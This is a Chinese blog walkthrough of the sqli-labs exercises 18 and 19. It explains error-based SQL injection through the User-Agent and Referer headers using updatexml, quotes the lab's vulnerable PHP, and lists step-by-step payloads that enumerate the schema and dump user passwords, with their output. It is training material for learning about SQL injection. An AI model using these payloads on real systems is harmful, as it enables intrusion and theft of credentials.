zoukankan      html  css  js  c++  java
  • sqli-labs 18-19 --Header_injection

    sqli-labs 18

    知识点

    头部注入

    报错注入

    使用的函数:

    updatexml (XML_document, XPath_string, new_value);
    第一个参数:XML_document是String格式,为XML文档对象的名称
    第二个参数:XPath_string (Xpath格式的字符串)
    第三个参数:new_value,String格式,替换查找到的符合条件的数据
    作用:改变文档中符合条件的节点的值
    报错注入原理:当XPath_string()不满足格式的时候,会报错并把查询信息放到报错信息里
    通常用 ’ ~ ’制造语法错误,编码后为0x7e
    

    报错注入的语句:
    updatexml(1,concat(0x7e,(常用sql注入语句),0x7e),1))

    源代码

    //这里是过滤
    function check_input($value)
    	{
    	if(!empty($value))
    		{
    		$value = substr($value,0,20); // truncation (see comments)
    		}
    		if (get_magic_quotes_gpc())  //返回当前 magic_quotes_gpc 配置选项的设置  Stripslashes if magic quotes enabled
    			{
    			$value = stripslashes($value);//stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
    			}
    		if (!ctype_digit($value))   	//用处:检查提供的 string 和 text 里面的字符是不是都是数字。语法:ctype_digit ( string $text ) : bool; 
    			{
    			$value = "'" . mysql_real_escape_string($value) . "'";
    			//mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。下列字符受影响:x00,
    ,
    ,\,',",x1a
    			//如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
    			}
    	else
    		{
    		$value = intval($value);//intval() 函数通过使用指定的进制 base 转换(默认是十进制)
    		}
    	return $value;
    	}
    //注意这里有对头部的处理
    	$uagent = $_SERVER['HTTP_USER_AGENT'];
    	$IP = $_SERVER['REMOTE_ADDR'];
    	echo "<br>";
    	echo 'Your IP ADDRESS is: ' .$IP;
    	echo "<br>";
    	//echo 'Your User Agent is: ' .$uagent;
    // take the variables
    if(isset($_POST['uname']) && isset($_POST['passwd']))
    //只检查了输入的用户名和密码,没有检查头部
    	{
    	$uname = check_input($_POST['uname']);
    	$passwd = check_input($_POST['passwd']);
    	/*
    	echo 'Your Your User name:'. $uname;
    	echo "<br>";
    	echo 'Your Password:'. $passwd;
    	echo "<br>";
    	echo 'Your User Agent String:'. $uagent;
    	echo "<br>";
    	echo 'Your User Agent String:'. $IP;
    	*/
    	//logging the connection parameters to a file for analysis.	
    	$fp=fopen('result.txt','a');
    	fwrite($fp,'User Agent:'.$uname."
    ");
    	
    	fclose($fp);
    	
    	$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    	$result1 = mysql_query($sql);
    	$row1 = mysql_fetch_array($result1);
    		if($row1)
    			{
    			echo '<font color= "#FFFF00" font size = 3 >';
    			$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
    //注意这里把ip,uagent代入数据库查询了
    			mysql_query($insert);
    			//echo 'Your IP ADDRESS is: ' .$IP;
    			echo "</font>";
    			//echo "<br>";
    			echo '<font color= "#0000ff" font size = 3 >';			
    			echo 'Your User Agent is: ' .$uagent;
    			echo "</font>";
    			echo "<br>";
    			print_r(mysql_error());		//注意这里输出了错误	
    			echo "<br><br>";
    			echo '<img src="../images/flag.jpg"  />';
    			echo "<br>";
    			
    			}
    		else
    			{
    			echo '<font color= "#0000ff" font size="3">';
    			//echo "Try again looser";
    			print_r(mysql_error());
    			echo "</br>";			
    			echo "</br>";
    			echo '<img src="../images/slap.jpg"   />';	
    			echo "</font>";  
    			}
    
    	}
    

    判断

    无过滤+代入数据库查询+输出错误=存在sql注入
    查询结果显示uagent,ip
    可以用报错注入,注入点可以用uagent
    尝试了用ip做注入点但是没有结果

    构造payload

    首先要把原来的语句闭合,根据代码

    $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
    

    我们要构造一个类似的语句,把原来的ip,uname代替掉,用#注释掉多余的部分
    1','1',updatexml(1,concat(0x7e,(select database()),0x7e),1))#

    库:security
    1','1',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#

    表:emails,referers,uagents,users

    1','1',updatexml(1,concat(0x7e,(select group_concat( column_name ) from information_schema.columns where table_name='users'),0x7e),1))#

    users中的字段:id,username,password,ip,time,US

    1','1',updatexml(1,concat(0x7e,(select(group_concat(id,0x3a,username,0x3a,password)) from security.users),0x7e),1))#

    值:~1:Dumb:Dumb,2:Angelina:I-kill-y
    没有完全显示出来,加上substr,一点点读取
    1','1',updatexml(1,concat(0x7e,(select substr((select group_concat(id,0x3a,username,0x3a,password) from security.users),20,50)),0x7e),1))#

    ina:I-kill-you,3:Dummy:p@ssword

    ~d,4:secure:crappy,5:stupid:stup

    stupid:stupidity,6:superman:gen

    uperman:genious,7:batman:mob!le

    tman:mob!le,8:admin:admin~
    看到~,说明都读完了
    ~1:Dumb:Dumb,2:Angelina:I-kill-you,3:Dummy:p@ssword,4:secure:crappy,5:stupid:stupidity,6:superman:genious,7:batman:mob!le,8:admin:admin~

    sqli-labs 19

    和18题基本一样,除了注入点换到了referer,然后payload要减少一个参数,其他都一样

    关键源码

    $uagent = $_SERVER['HTTP_REFERER'];
    

    uagent里面的值是referer

    $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
    

    插入语句里一共有两个参数

    payload:

    1',updatexml(1,concat(0x7e,(select database()),0x7e),1))#
    1',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#
    1',updatexml(1,concat(0x7e,(select group_concat( column_name ) from information_schema.columns where table_name='users'),0x7e),1))#
    1',updatexml(1,concat(0x7e,(select(group_concat(id,0x3a,username,0x3a,password)) from security.users),0x7e),1))#
    1',updatexml(1,concat(0x7e,(select substr((select group_concat(id,0x3a,username,0x3a,password) from security.users),20,50)),0x7e),1))#

  • 相关阅读:
    Python接口自动化测试(15):Django后台设置
    Python接口自动化测试(14):Django安装和项目创建
    Python接口自动化测试(13):Jmeter测试报告
    Python接口自动化测试(12):Jmeter授权设置
    Python接口自动化测试(11):Jmeter数据驱动
    Python接口自动化测试(10):Jmeter参数关联
    Python接口自动化测试(9):Jmeter变量设置
    redis高可用集群搭建
    熔断器 Hystrix
    负载均衡 Ribbon
  • 原文地址:https://www.cnblogs.com/yunqian2017/p/13362392.html
Copyright © 2011-2022 走看看